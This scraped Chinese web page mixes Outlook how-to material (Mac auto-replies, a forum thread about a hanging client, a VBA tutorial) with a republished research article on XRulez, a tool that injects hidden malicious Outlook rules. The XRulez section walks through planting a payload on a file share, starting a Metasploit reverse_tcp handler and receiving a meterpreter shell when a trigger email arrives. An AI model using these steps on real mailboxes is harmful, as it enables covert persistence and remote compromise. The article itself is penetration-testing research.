请问谁有空间暖说说的句子群?就是空间互评的群

Outlook 2016 for Mac 设置自动回复外出邮件的方法
作者:佚名
字体:[ ] 来源:互联网 时间:07-10 16:31:45
如果你有Microsoft Exchange 电子邮件帐户,则可以使用“外出时的助理程序”发送自动答复。 对于 POP 或 IMAP 帐号,你可以设置邮件规则以自动答复新电子邮件,下面分享详细步骤
这是一个最简单基本的宏,但意味着你已经跨出了第一步~如果觉得下方教程不知所云,那你一定遗漏了前两篇教程。
注意 &&如果你有Microsoft Exchange 电子邮件帐户,则可以使用&外出时的助理程序&发送自动答复。 对于 POP 或 IMAP 帐户(Internet 服务提供商提供的电子邮件),你可以设置邮件规则以自动答复新电子邮件。
为 Exchange 帐户启用外出时的助理程序,&外出时的助理程序&适用于运行Microsoft Exchange Server 的服务器,可在你外出时自动答复电子邮件。
1、在导航窗格的左下角,单击&邮件&。
2、在&自动答复设置&框中,检查&为帐户&X&发送自动答复&框。 (其中,&X&是你希望从中发送外出答复的帐
3、在&每个发件人仅答复一次&下方,输入自动答复。
若要设置开始和结束日期,请选中&仅在此时间段内发送答复&复选框,并输入开始和结束日期和时间。 & & & & & 注意 &&选中此框并设置开始和结束日期和时间之后,如果达到结束日期和时间,则外出答复将自动关闭。
若要设置答复组织外部人员的选项(如果你的 Exchange & & &管理员已启用),请选中&同时将答复发送给组织外部的发件人&框,选择&发送给所有外部发件人&,然后在&每个外部发件人仅答复一次&下方输入自动答复。
单击&确定&。
为 Exchange 帐户关闭外出时的助理程序,如果在打开&外出时的助理程序&时未设置开始和结束日期,也可以通过执行下列操作来手动将其关闭:在导航窗格的左下角,单击&邮件&。
4、取消选中&为帐户&X&发送自动答复&框。 (其中,&X&是你希望为其关闭外出答复的帐户。)
创建电子邮件规则以自动答复传入的邮件。可以在 Outlook 中设置邮件规则来自动答复新电子邮件。 可以在 Outlook 中为所有帐户类型(包括 POP 和 IMAP 帐户)设置邮件规则。
重要 &&由于电子邮件规则是通过 Outlook 而不是邮件服务器运行的,你的计算机必须开机,并且 Outlook 必须处于打开状态才能发送自动答复邮件。
5、在导航窗格的左下角,单击&邮件&。
6、在&组织&选项卡上,单击&规则&,然后选择&编辑规则&。在&规则&框的左窗格中,单击要为其创建规则的帐户类型,如 Exchange、IMAP 或 POP。
7、提示 &&如果不知道你拥有的帐户类型,请参阅本文中的了解你拥有的帐户的类型,然后继续在本节的步骤 4 中添加规则。在&规则&框中,单击&添加规则&
大家感兴趣的内容
12345678910
最近更新的内容Outlook真的安全?一条恶意规则远程攻陷工作站
作者:红黑联盟
分类 : 比特网
  当前,构建恶意Outlook规则的限制条件都比较苛刻,至少需要访问被系统的交互GUI,或者拥有登录凭证,而且还要求攻击方直接与Exchange进行交互。不过MWR的一名实习生Luke Roberts最近所做的一份研究,给出了不一样的答案,通过shell或者注入的方式来构建规则显然就要方便多了。
  2015年12月,尼克·兰德斯在Silent Break Security网站发布了一篇题为《恶意的Outlook规则》的文章(传送门),在这篇文章里,他讨论了如何持久性地利用Outlook恶意规则。其实,在此之前就有相关的研究,比如2014年发布的这篇文章,和2008年发布的 这篇文章。这些文章都可算是此次研究项目的基础,在您继续往下看文章之前,您最好先阅读一下尼克·兰德斯在Silent Break Security发布的《恶意的Outlook规则》。
  Luke已经成功构建了相应的POC,可点击这里下载。但在此之前,不妨先继续阅读这篇文章,了解更多有关这款工具的,以及这个研究项目的具体内容。
  SensePost在日也推出了类似的工具(点击这里),真是英雄所见略同!在此我们也看到了不同的思路,这里我们也强烈建议大家去阅读他们的研究。
  在Outlook中设定规则,只要满足相应的条件,就能在接收邮件和发送邮件的时候执行某些操作。比如说,将来自某些特定联系人的邮件进行分类,或者如果邮件标题包含某个关键词,则对邮件进行标注。另外这里所说的“执行某些操作”也可以是运行某个应用,如果能做到这一点,那么一切都变得相当有趣了。
  如果我们能够创建一条Outlook规则,目标是执行payload——发出邮件的时候即触发这条规则,也就是说目标设备发送一封邮件,就能执行payload,是不是听起来很不错?
  实际上,规则是在Exchange服务器上的。这些规则会和所有的Outlook客户端同步。目标设备在不同的位置登录时,这些规则也会自动下载和执行。只要目标设备开启Outlook并认证登录,那么我们在不需要获取登录凭证的情况下,就能拿下已经开启的会话。
  这里的PoC工具名为XRulez,这是个Windows。用它将接收信息规则注入到Exchange,这样用户在接收邮件时,只要满足预设条件,比如标题中出现特定关键词,就能自动运行某个应用了。
  XRulez连接到Exchange服务器利用的是一条由Outlook客户端提供的存活的MAPI会话(MAPI,消息应用程序编程接口),然后在默认接收相关信息表里创建新邮件,这是目标邮箱的存储规则。然后填写新创建的邮件与属性,包括规则名称、条件和操作参数。
  一旦规则与Exchange同步,发送一封邮件就能在目标设备上触发攻击。
  在未来的版本中,我们将会添加更多的条件和操作,当前POC可以配置以下的设置:
  触发条件:邮件标题的关键词
  执行操作:启动应用程序、永久删除电子邮件、终止规则
  规则触发时,如果payload应用无法访问,就会弹出框告诉用户规则无法成功执行,这可能会暴露攻击行为。
  工具使用手册
  在被感染的主机上:
  1.上传XRulez.exe到目标设备;
  2.执行XRulez.exe并加上“-l”参数来查看目标系统上已安装的MAPI配置文件列表;
  XRulez.exe -l
  3. 执行XRulez.exe并加上“-a”参数和所需各类参数来添加新规则;
  XRulez.exe -a [--profilePROFILE] [--name NAME] [--trigger TRIGGER] [--payload PAYLOAD]
  4.向目标设备发送标题含有预设关键词的电子邮件,触发预设的规则;
  5.等Shell吧
  XRulez在添加新规则时,需要设置四个参数:
  1.[--profilePROFILE]配置文件名称:Outlook的配置文件名,已安装的配置文件可以使用“XRulez.exe -l”命令来查看
  2.[--name NAME]规则名称:规则的描述名称,例如“过滤”
  3.[-- triggerTRIGGER]触发规则的关键词:这个关键词将会在收到邮件的时候在标题字段中被检索
  4.[--payloadPAYLOAD]payload路径:条件满足时,被执行的应用程序的路径
  XRulez会在“%APPDATA%\\Outlook\”这个目录下的.xml文件中寻找Outlook的配置文件,它也会提供这些文件的最后修改时间,而且会基于这些修改时间给出Outlook配置文件的选择建议。.xml文件只在Outlook关闭的时候更新,如果用户切换邮箱账户,可能会有些小麻烦。不过大多数的用户只有一个叫“Outlook”的默认配置文件。
  恶意规则成功建立后,XRulez就可以从目标系统中删除了。
  payload应用可以任何形式通过ShellExec正常启动。应用格式可以是.exe, .bat, .vbs,但不包含.ps1文件,因为它们在默认情况下是用记事本打开的。
  由于MAPI是和架构相关的,针对32位和64位系统有不同的版本。所以在运行XRulez.exe之前,首先就要明确版本是否正确。这样XRulez才能正确运行,否则,可能会弹框提示“MAPI无法找到Outlook客户端”。
  Outlook必须是在目标设备上打开的,否则,就不会有会话分享出来,也就E
  Outlook是使用ShellExec来打开payload程序的,这意味着payload不能带参数执行,这就要求payload必须是上或者外部的所有封闭的应用程序。
  利用演示假设:
  我们已经拿下了目标设备,且已经得到了一条meterpreter会话,现在我们来寻找维持持续访问的方法;
  Outlook与Exchange服务器有一个已经通过验证的会话;
  目标可以访问一个我们可以写入的文件共享;
  我们可以正常发送邮件到目标Exchange账号。
  1.首先,我们生成一个能反弹meterpreter的payload,并将此payload放置到一个开放的Samba文件共享空间中。
  root@kali:/share# ls
  payload.exe
  2.XRulez.exe已经被上传到目标设备上了,并且在Windows的命令行中带“-l”参数执行POC,这样将会显示安装在系统上的MAPI配置文件。
  C:\demo&XRulez.exe -l
  __ ________ _
  \ \ / /| ___ \ | |
  \ * / | |_/ / _ _ | | ___ ____
  / \ | / | | | || | / _ \|_ /
  / /^\ \| |\ \ | |_| || || __/ / /
  \/ \/\_| \_| \__,_||_| \___|/___|
  - Exchange Rule Injector
  [XRulez] Running profile lookup
  Outlook, Last Accessed 32 minutes ago. (Suggested)
  3.现在,我们获悉了配置文件名为“Outlook”,我们可以用“-a”参数来添加一条新规则,payload的路径则指向我们的文件共享。
  C:\demo&XRulez.exe -a --profile Outlook --name Corp: Spam Filter --trigger spam --payload \\192.168..129\share\payload.exe
  __ ________ _
  \ \ / /| ___ \ | |
  \ * / | |_/ / _ _ | | ___ ____
  / \ | / | | | || | / _ \|_ /
  / /^\ \| |\ \ | |_| || || __/ / /
  \/ \/\_| \_| \__,_||_| \___|/___|
  - Exchange Rule Injector
  [XRulez] Adding new rule
  With Parameters:
  profile = Outlook
  name = ACME Corp: Spam Filter
  trigger = spam
  payload = \\192.168.28.129\share\payload.exe
  [Info] It looks like Outlook is running, continuing...
  [Info] Opened folder: 'Inbox'
  [Info] A new message in the associated message table has been created
  [Info] Message has been populated with properties and synced with Exchange.
  4.一条Outlook规则就这样成功创建了,Outlook客户端与Exchange同步,下载我们的规则可能需要一点时间。
  5.接下来,我们在攻击设备这里加载msf框架的handler,开始监听。
  root@kail:/# msfconsole
  msf & use exploit//handler
  msf exploit(handler) & set payload windows/meterpreter/reverse_tcp
  payload =& windows/meterpreter/reverse_tcp
  msf exploit(handler) & set lhost 192.168.28.129
  lhost =& 192.168.28.129
  msf exploit(handler) & set lport 5555
  lport =& 5555
  msf exploit(handler) & exploit
  [*] Started reverse TCP handler on 192.168.28.129:5555
  [*] Starting the payload handler...
  6.我们给目标发送一封标题含有关键词“spam”的邮件,payload在目标设备上成功执行,meterpreter会话已经拿下。
  [*] Sending stage (957487 bytes) to 192.168.28.141
  [*] Meterpreter 1 opened (192.168.28.129:5555 -& 192.168.28.141:49327) at :20 -0400
  meterpreter &
  7.现在,如果用户使用Exchange账户在不同的Outlook客户端上进行身份验证,那么该规则将会被重新下载,如果payload在新设备上被访问,那么它也会发挥像在第一台设备上那样的作用,当条件满足时,我们就会得到另一个shell。
  研究方法
  在所有的研究中,理解how和why是非常重要的。下面的章节,我们将详细介绍尼克在从事他的研究时,他所采取的方法和过程。
  “消息应用程序编程接口(MAPI)是一种消息传送架构和Microsoft Windows基于API的组件对象模型。MAPI允许客户端程序具备(电子邮件)功能,或者通过调用MAPI子系统例程的某些邮件服务器接口为基础来支持邮件传输,而MAPI则被设计为独立于协议的,它经常被用于MAPI/RFC,一个Outlook与Exchange之间通信的私有协议。”
  MAPI可提供非托管式地访问一个用户邮箱中的文件夹和表格的功能,它可以做各种有趣的事情,比如说阅读电子邮件、修改预约以及创建规则!
  第一步
  我这个研究的第一步就是了解在创建、存储或/和传输过程中,规则格式究竟是什么样的。
  在了解Exchange是以什么格式来存储规则的时候,我的工具是“MFCMAPI”——一个系统管理员用来调试Exchange服务器的程序,这个工具没有提示我输入身份凭证。在进一步的调查之后,我发现,这是因为Outlook在后台运行了。Outlook后面进行的任何MAPI连接都是已经通过验证的,并不需要重新认证,允许现有的MAPI会话被共享。
  *MFCMAPI:是Exchange服务器的管理工具
  我的目标是将一封邮件添加到默认接收文件夹中的相关联的内容表当中,相关联的内容表也就是数据存储所在的位置,但它不属于主要的内容表(你平常的邮件存储在主要的内容表),这里存储的数据包含你的偏好数据、邮件管理数据和规则数据。
  首先,我从.msg文件成功导入了恶意规则条目,一个带有条件和操作的测试规则被成功创建。通过来自MFCMAPI的代码,将.msg文件导入到相关联的内容表中,也就在Exchange服务器上创建规则了,这应该就算得上首个基本完成的POC了。
  第二步
  接下来一步就是,在规则被导入的时候,我需要能够设定字段值为任意值(规则名称、触发关键词、触发应用程序的路径)。
  导入.msg文件时,会对可变长度属性的长度和长度值进行验证。这意味着,如果字段被修改,长度必须重新计算,长度字段也会被更新。虽然要在POC中在规则创建时对此进行修改也是可行的(也许并不困难),但我还是选择导出设置为最大长度的规则。这就省去了长度属性的麻烦。
  *MSG文件:用于生成所需属性的规则模板
  在此使用自定义名称,标题关键词触发和应用程序路径来添加一条规则。然而,依赖于外部模板MSG文件并不理想,并且出现了另一个败笔,就是它会遗留一个日志之类的文件,可能被发现。那么,我们下一步就是要研究如何脱离这种依赖关系,在运行时生成所需数据。
  这需要我们更加仔细地观察MAPI表项的结构。MAPI表项是由一个长长的属性列表构成的,这其中比较有趣的是PR_RULE_MSG_ACTIONS属性。这个属性包含了Outlook用来处理规则的二进制数据——这正是我需要编辑的,用以改变规则名称、触发条件和应用程序路径。不过,首先我需要找到导入数据的不同方法。
  第三步
  在MSDN上有一段代码展示了如何修改接收特定邮件的敏感度来创建一个规则(传送门),这段代码是通过手动设置关键属性和在规则表中添加一个行起作用的。这基本已经能够达到目的了,似乎已经充满了希望,但是我在测试中却遇到了关于设置PR_RULE_MSG_ACTIONS属性的问题。该属性的描述文档谈到,这是客户端生成的不透明blob,但它也会被用于验证。当字段为空白或者设置有误的时候,Outlook将会无视这条规则,并且将其删除。
  回首之前导入.msg文件的这种方法,我在表中创建一个空白的邮件,将文件中的属性(包括PR_PROVIDER_DATA)导入到一个数组中,再从数组中把文件属性复制到空白的邮件当中,而不是在规则表中添加一行,我重复执行这个操作。不过要从文件中读取属性,我还尝试用有效数据生成我自己的属性数组。用这种方法,数据也会被接受,Outlook能够正常读取和处理规则,这意味着,模板文件不再需要,这个步骤也能在内存中完成。
  *属性:存储在消息关联内容表中的条目属性
  在应用测试中,我发现Outlook用来显示的规则属性和Exchange所用的属性是不一样的,例如,Outlook是使用PR_RULE_MSG_ACTIONS来存储规则名称的,而Exchange使用的却是PR_RULE_MSG_NAME,如果将属性设置为空,那么规则自然就出错了,但Outlook仍然能够正确处理。
  这样一来,无论是Outlook Web App(Exchange服务进行交互的web界面),还是在Exchange管理控制台中的Get-InboxRules都不会显示该规则的存在性,而只会提示通用错误。所以,要创建脚本来检查规则的存在性是有难度的。
  注:Outlook应用程序并不会显示由XRulez创建的任何规则
  我很享受这项研究,并且希望这个工具能够成为渗透工具集的一部分。另外,对团队而言,这也是相当重要的情报。
[ 责任编辑:小石潭记 ]
比特网 15:27:55
带着朋友和机器人上月亮散步
软件信息化周刊
比特软件信息化周刊提供以数据库、操作系统和管理软件为重点的全面软件信息化产业热点、应用方案推荐、实用技巧分享等。以最新的软件资讯,最新的软件技巧,最新的软件与服务业内动态来为IT用户找到软捷径。
商务办公周刊
比特商务周刊是一个及行业资讯、深度分析、企业导购等为一体的综合性周刊。其中,与中国计量科学研究院合力打造的比特实验室可以为商业用户提供最权威的采购指南。是企业用户不可缺少的智选周刊!
比特网络周刊向企业网管员以及网络技术和产品使用者提供关于网络产业动态、技术热点、组网、建网、网络管理、网络运维等最新技术和实用技巧,帮助网管答疑解惑,成为网管好帮手。
服务器周刊
比特服务器周刊作为比特网的重点频道之一,主要关注x86服务器,RISC架构服务器以及高性能计算机行业的产品及发展动态。通过最独到的编辑观点和业界动态分析,让您第一时间了解服务器行业的趋势。
比特存储周刊长期以来,为读者提供企业存储领域高质量的原创内容,及时、全面的资讯、技术、方案以及案例文章,力求成为业界领先的存储媒体。比特存储周刊始终致力于用户的企业信息化建设、存储业务、数据保护与容灾构建以及数据管理部署等方面服务。
比特安全周刊通过专业的信息安全内容建设,为企业级用户打造最具商业价值的信息沟通平台,并为安全厂商提供多层面、多维度的媒体宣传手段。与其他同类网站信息安全内容相比,比特安全周刊运作模式更加独立,对信息安全界的动态新闻更新更快。
新闻中心热点推荐
新闻中心以独特视角精选一周内最具影响力的行业重大事件或圈内精彩故事,为企业级用户打造重点突出,可读性强,商业价值高的信息共享平台;同时为互联网、IT业界及通信厂商提供一条精准快捷,渗透力强,覆盖面广的媒体传播途径。
云计算周刊
比特云计算周刊关注云计算产业热点技术应用与趋势发展,全方位报道云计算领域最新动态。为用户与企业架设起沟通交流平台。包括IaaS、PaaS、SaaS各种不同的服务类型以及相关的安全与管理内容介绍。
CIO俱乐部周刊
比特CIO俱乐部周刊以大量高端CIO沙龙或专题研讨会以及对明星CIO的深入采访为依托,汇聚中国500强CIO的集体智慧。旨为中国杰出的CIO提供一个良好的互融互通 、促进交流的平台,并持续提供丰富的资讯和服务,探讨信息化建设,推动中国信息化发展引领CIO未来职业发展。
IT专家新闻邮件长期以来,以定向、分众、整合的商业模式,为企业IT专业人士以及IT系统采购决策者提供高质量的原创内容,包括IT新闻、评论、专家答疑、技巧和白皮书。此外,IT专家网还为读者提供包括咨询、社区、论坛、线下会议、读者沙龙等多种服务。
X周刊是一份IT人的技术娱乐周刊,给用户实时传递I最新T资讯、IT段子、技术技巧、畅销书籍,同时用户还能参与我们推荐的互动游戏,给广大的IT技术人士忙碌工作之余带来轻松休闲一刻。you have been blockedOUTLOOK 2016 客户端一直正在处理。。。怎么解决,在线等 - 极客问答 Geek Q and A
OUTLOOK 2016 客户端一直正在处理。。。怎么解决,在线等
2月 19, 2016
(2,772 分)
安全模式打开,再重新进入 outlook /safe
2月 19, 2016
(4,126 分)
2月 20, 2016
是安装后第一次打开么?一般第一次打开会比较慢。如果不是,有没有结束任务重试几次?
2月 19, 2016
打开另外一个office程序,在设置的高级选项里面选择 禁用硬件加速选项,重新启动程序
2月 19, 2016
(2,002 分)
去微软官网上面下载一个微软的程序插件,修复性质的,在官网里面搜索
2月 19, 2016
(5,076 分)
1个月前,你说这个又打不开了,说明之前是能打开的。那肯定就是软件本身问题 ,卸了,装2013吧,毕竟都这么长时间没解决问题了
2月 20, 2016
(9,864 分)
Office 高级选项里面勾选上禁止硬件加速
2月 20, 2016
(6,108 分)
参考一下:&
2月 20, 2016
(4,776 分)
Powered byOutlook2010中的VBA编程;您是否面临从Outlook2010中重复清除多个;使用VisualBasicforApplicat;本文面向有经验的Outlook用户,他们希望了解;在阅读本文之前,您可能要阅读介绍性文章Offic;Office2010中的VBA编程的强大功能在于;除了可通过编写VBA脚本来加速执行日常任务,还可;本文中的教程可使用VB
Outlook 2010 中的 VBA 编程
您是否面临从 Outlook 2010 中重复清除多个联系人的难题?是否必须将大量电子邮件附件逐一保存到硬盘?是否想从某些电子邮件消息中自动创建日历项目?还是不知道如何将 Microsoft Outlook 2010 中的联系人高效地导入 Microsoft Excel 2010 电子表格?
使用 Visual Basic for Applications (VBA) 可以执行上述任务并实现更多功能,VBA 是一种简单而又强大的编程语言,可为 Office 2010 应用程序扩展新功能,还可以自动执行重复性任务。
本文面向有经验的 Outlook 用户,他们希望了解有关 VBA 的信息,还希望深入了解编程对其根据需要定制 Outlook 2010 有何帮助。
在阅读本文之前,您可能要阅读介绍性文章Office 2010 中的 VBA 入门,其中详细介绍了有关 VBA 编程的基础知识。
Office 2010 中的 VBA 编程的强大功能在于,使用 VBA 可以完成用鼠标、键盘或对话框可以执行的几乎所有操作。而且,如果使用 VBA 可以执行一次,就可以轻松地执行上百次、上千次。(实际上,自动执行重复性任务是 VBA 在 Office 中的一种最常见用法。)
除了可通过编写 VBA 脚本来加速执行日常任务,还可以使用 VBA 为 Office 2010 应用程序添加新功能,或以特定于您的业务需要的方式来提示文档用户并与之交互。例如,在 Outlook 2010 中,您可以使用 VBA 通过标准用户界面中未提供的方式对联系人、电子邮件、日历项目或任务执行排序、导出和修改操作。
本文中的教程可使用 VBA 实现 Outlook 的自动化。该教程是一个实际示例,研究为有经验的 Outlook 用户提供的编程、VBA 和开发工具。
VBA 编程是一种功能强大的解决方案,但并不总是最佳方法。有时候使用其他途径来实现目标更合适。
关键问题在于是否有更简单的方法。在开始 VBA 项目之前,请考虑内置工具和标准功能。例如,如果需要在 Outlook 中执行一项费时的操作,可考虑使用规则来解决此问题。是否可以执行一次任务然后使用Ctrl+Y(重做)来重复该任务? Outlook 2010 是一种功能强大的应用程序;您需要的解决方案可能已经准备就绪了。花些时间了解有关 Outlook 2010 的更多信息,再跳转到编程过程。
在开始 VBA 项目之前,确保您有时间使用 VBA。需要关注编程,编程结果可能无法预知。尤其是初学者,除非有时间仔细研究,否则切勿依靠编程。当期限迫近会造成极大压力时,可尝试编写“快速脚本”来解决问题。如果您的时间很紧,可以使用较传统的方法,即使这些方法单调又重复,也必须这样做。
VBA 编程 101
通过代码使应用程序执行操作
您可能认为编写代码是一项神秘而又复杂的工作,但基本原则是使用日常推理,并且很容易掌握。Office 2010 应用程序的创建方式如下:公开可以接收指令的对象,类似于为了与电话交互而设计带按键的电话。按下按键时,电话会识别指令并按照拨号顺序包括对应的号码。在编程时,您是通过向应用程序中的各个对象发送指令来与应用程序交互。这些对象是可扩展的,但有限制。这些对象只能执行为其设计的操作,并且只按照您的指令执行操作。
例如,请考虑这样的用户:他在 Outlook 中创建电子邮件、选择收件人、键入邮件主题,然后单击“发送”。在 VBA 编程中,Outlook 会公开一个MailItem对象。使用 VBA 代码,您可以设置MailItem的主题和正文,并告诉它执行“保存”或“发送”操作。阅读本文后,您将了解有关这些对象、这些对象的组织方式及其描述和操作方式的更多信息。
对象、方法和属性
开发人员通过层次结构来组织编程对象,该层次结构称为应用程序的对象模型。例如,Outlook 中的“收件箱”是 Outlook Namespace对象中的一个Folder对象。Folder对象包含MailItem对象,等等。对象模型概略地对用户界面中显示的内容进行镜像,对象模型是应用程序及其功能的概念图。从编程角度而言,Folder对象可以包含任意类型的项目对象,但通常 Outlook 用户界面中的几个文件夹都主要由特定类型的项目对象组成。例如,Outlook 用户界面提供一个主要包含
ContactItem对象的“联系人”文件夹,和一个主要包含AppointmentItem和MeetingItem对象的“日历”文件夹。
对象的定义称为类,因此您可能会看到互换使用这两个术语的情况。从技术上讲,类是用于创建或实例化对象的说明或模板。
只要对象存在,便可通过设置其属性和调用其方法来处理该对象。如果您认为对象是一个名词,则属性是描述该名词的形容词,方法是为名词赋予行动的动词。更改属性会更改对象的外观或行为的质量。调用对象的一个方法可使对象执行某个操作。
在了解 Outlook 中对象模型的基本布局以及Application、Explorer和Folder对象的一些关键属性(允许您访问当前状态)后,便可以开始使用 VBA 扩展和处理 Outlook 了。
宏和 Visual Basic 编辑器
既然您已了解 Outlook 2010 应用程序如何公开其对象模型,可能已等不及要尝试调用对象方法、设置对象属性以及响应对象事件。为此,您必须在一个位置以 Office 可以理解的方法编写代码;通常使用是 Visual Basic 编辑器。尽管该编辑器是在默认情况下安装的,但在功能区中启用该编辑器之前,许多用户都不知道该编辑器的存在。
打开“开发工具”选项卡
所有 Office 2010 应用程序都使用功能区。功能区中有一个“开发工具”选项卡,在此可以访问 Visual Basic 编辑器和其他开发人员工具。由于 Office 2010 在默认情况下不显示“开发工具”选项卡,因此必须使用以下过程启用该选项卡:
启用“开发工具”选项卡
4. 在“文件”选项卡上,选择“选项”打开“Outlook 选项”对话框。 单击该对话框左侧的“自定义功能区”。 在该对话框左侧的“从下列位置选择命令”下,选择“常用命令”。 在该对话框右侧的“自定义功能区”下,选择“主选项卡”,然后选中“开发工具”复选框。
5. 单击“确定”。
在 Office 2007 中,显示“开发工具”选项卡的方法是单击 Office 按钮、单击“选
项”,然后在“选项”对话框中的“常用”类别下选中“在功能区显示?开发工具?选项卡”复选框。
启用“开发工具”选项卡后,可以轻松找到“Visual Basic”和“宏”按钮。
图 1. Outlook 2010 中的“开发工具”选项卡
默认情况下,为了使您免受病毒和其他恶意代码的侵害,Outlook 中会禁用 VBA 宏。若要启用这些宏,请使用以下过程:
1. 在“文件”选项卡上,选择“Outlook 选项”打开“Outlook 选项”对话框,然后单击“信任中心”。
2. 单击“信任中心设置”,然后单击左侧的“宏设置”选项。
3. 选择“为所有宏提供通知”,然后单击“确定”。该选项允许在 Outlook 中运行宏,但在宏运行之前,Outlook 会提示您确认是否要运行宏。
4. 重新启动 Outlook 以使配置更改生效。
Visual Basic 编辑器
在显示“开发工具”选项卡后,可以打开 Visual Basic 编辑器,该编辑器是用于编写和编辑用于 Outlook 的 VBA 代码的内置工具。使用以下过程可以打开 Visual Basic 编辑器:
打开 Visual Basic 编辑器
1. 单击“开发工具”选项卡上的“宏”按钮。
2. 在随后出现的“宏”对话框中的“宏名称”下键入Test。
3. 单击“创建”按钮打开 Visual Basic 编辑器,其中包含已键入的新宏的大纲。 Visual Basic 编辑器包含下列代码。
Sub Test()
Sub代表“Subroutine”(子例程),可将其暂时定义为“宏”。运行Test宏将运行Sub Test()与End Sub之间的所有代码。
现在,请编辑宏,使其类似如下代码。
Sub Test()
MsgBox(&Hello world&)
图 2. 在 Visual Basic 编辑器中测试宏
注意 Visual Basic 编辑器的左面板。Test 宏位于 Project1 的 Module1 中。一个项目模块包含多个模块,每个模块包含可以作为 .bas 文件导入或导出的 VBA 代码的集合。
只要对象存在,便可通过设置其属性和调用其方法来处理该对象。您编辑过的子例程中包含一个方法,该方法是用于执行操作的代码。该子例程中的Test()方法现在是对象 Project1 的一个成员。
三亿文库包含各类专业文献、中学教育、文学作品欣赏、外语学习资料、专业论文、应用写作文书、生活休闲娱乐、行业资料、幼儿教育、小学教育、各类资格考试、18最权威的Outlook 2010 中的 VBA 入门等内容。 
 编程代码改变 对开发者来讲,为了支持 64 位,VBA(应用程序的可视化基础)进行了...在 Office2010 中,Outlook 可能是受到影响最大的应用程序,对象模 型的变化导致...  2010 Microsoft Word 2010 Microsoft Excel 2010 Microsoft Outlook 2010 Microsoft...编程代码改变对开发者来讲,为了支持64位,VBA(应用程序的可视化基础)进行 了升级...  Office 2010 中的 VBA 开发入门_计算机软件及应用_IT/计算机_专业资料。非常不错的入门实践课今日推荐 78份文档 不小心又胖了 胖女人必看 ...  错 11.WORD2010 在文字段落样式的基础上新增了图片...就是脚注错 58.OUTLOOK 中,自定义的快速步骤可以同时...错 63.可以用 VBA 编写宏代码。对 64.在 EXCEL ...  编程代码改变 对开发者来讲, 为了支持 64 位, VBA(应用程序的可视化基础)进行...在 Office2010 中,Outlook 可能是受到影响最大的应用程序,对象模型的变化导致了...  Outlook2010基础本教程共有26节组成,是Outlook中为数不多的经典教程之一,本教程详细教程了Outlook2010的配置和使用方法,并将RSS订阅也做了详细介绍, 内容详细,值得...  () 15. Outlook 中通过创建搜索文件夹,可以将多个...() 41. Word2010 在文字段落样式的基础上新增了...() 61. 可以用 VBA 编写宏代码。 () 62. ...   51cto 学院-Word2010 基础应用大全精讲视频课程课程目标 最快...Outlook 的交互结 合、邮件合并、智能文档、以及利用 VBA 来对 Word 进行开发...  excel2010 vba笔记 (实战教程)(基础实例)_计算机软件及应用_IT/计算机_专业资料...但它是以两个一组的方式返回所要的值,在串列中,最先为 TRUE 的值会被返回...

我要回帖

更多关于 空间暖说说的句子 的文章

 

随机推荐